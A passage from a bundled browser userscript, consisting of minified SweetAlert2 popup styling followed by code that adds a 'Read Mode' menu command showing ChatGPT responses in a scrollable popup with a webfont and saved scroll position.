.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}div:where(.swal2-icon){position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}div:where(.swal2-icon) .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}div:where(.swal2-icon).swal2-error{border-color:#f27474;color:#f27474}div:where(.swal2-icon).swal2-error .swal2-x-mark{position:relative;flex-grow:1}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}div:where(.swal2-icon).swal2-warning{border-color:#facea8;color:#f8bb86}div:where(.swal2-icon).swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}div:where(.swal2-icon).swal2-info{border-color:#9de0f6;color:#3fc3ee}div:where(.swal2-icon).swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}div:where(.swal2-icon).swal2-question{border-color:#c9dae1;color:#87adbd}div:where(.swal2-icon).swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}div:where(.swal2-icon).swal2-success{border-color:#a5dc86;color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}div:where(.swal2-icon).swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}div:where(.swal2-icon).swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{inset:0 auto auto 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{inset:0 0 auto auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{inset:0 auto auto 0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{inset:50% auto auto 0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{inset:50% auto auto 50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{inset:50% 0 auto auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{inset:auto auto 0 0}body.swal2-toast-shown .swal2-container.swal2-bottom{inset:auto auto 0 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{inset:auto 0 0 auto}');
  3062. }
  3063. });
  3064.  
  3065. // src/index.ts
  3066. var import_chatgpt = __toESM(require_chatgpt2(), 1);
  3067.  
  3068. // ../../packages/page-button/dist/index.mjs
  3069. var import_sweetalert2 = __toESM(require_sweetalert2_all(), 1);
  3070. function displayHTML(html) {
  3071. return __async(this, null, function* () {
  3072. let screenWidth = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
  3073. let swalWidth = screenWidth < 800 ? "80%" : "800px";
  3074. if (!document.head.querySelector("#LXGWStyle")) {
  3075. let link = document.createElement("link");
  3076. link.rel = "stylesheet";
  3077. link.href = "https://cdnjs.cloudflare.com/ajax/libs/lxgw-wenkai-screen-webfont/1.7.0/style.css";
  3078. link.id = "LXGWStyle";
  3079. document.head.appendChild(link);
  3080. }
  3081. if (!document.head.querySelector("#readModeStyle")) {
  3082. let style = document.createElement("style");
  3083. style.type = "text/css";
  3084. style.id = "readModeStyle";
  3085. style.innerHTML = `
  3086. .text-left { text-align: left !important; }
  3087. .scrollable { max-height: 90vh; overflow-y: auto; }
  3088. .swal-font { font-family: "LXGW WenKai Screen", sans-serif; }
  3089. `;
  3090. document.head.appendChild(style);
  3091. }
  3092. import_sweetalert2.default.fire({
  3093. title: "",
  3094. html: html.join("<br />"),
  3095. width: swalWidth,
  3096. padding: "0em",
  3097. background: "#fff",
  3098. backdrop: "rgba(128,128,128,0.4)",
  3099. showConfirmButton: false,
  3100. showClass: { popup: "", backdrop: "" },
  3101. customClass: { htmlContainer: "text-left scrollable swal-font" },
  3102. willClose: () => {
  3103. const scrollable = document.querySelector(".scrollable");
  3104. if (scrollable) {
  3105. localStorage.setItem("scrollPos" + window.location.href, `${scrollable.scrollTop}`);
  3106. }
  3107. },
  3108. didOpen: () => {
  3109. const scrollable = document.querySelector(".scrollable");
  3110. if (scrollable) {
  3111. scrollable.scrollTop = parseInt(localStorage.getItem("scrollPos" + window.location.href) || "0");
  3112. }
  3113. }
  3114. });
  3115. });
  3116. }
  3117.  
  3118. // src/index.ts
  3119. function initialize() {
  3120. return __async(this, null, function* () {
  3121. yield new Promise((r) => window.addEventListener("load", r));
  3122. yield new Promise((r) => setTimeout(r, 1e3));
  3123. });
  3124. }
  3125. (() => __async(void 0, null, function* () {
  3126. yield initialize();
  3127. function displayReadMode() {
  3128. let html = (0, import_chatgpt.getResponseElementHTMLs)();
  3129. if (html.length === 0) {
  3130. html = ["<p>No responses available.</p>"];
  3131. }
  3132. displayHTML(html);
  3133. }
  3134. GM_registerMenuCommand("\u{1F4D6} Read Mode", displayReadMode);
  3135. }))();
  3136. })();
  3137. /*! Bundled license information:
  3138.  
  3139. sweetalert2/dist/sweetalert2.all.js:
  3140. (*!
  3141. * sweetalert2 v11.7.18
  3142. * Released under the MIT License.
  3143. *)
  3144. */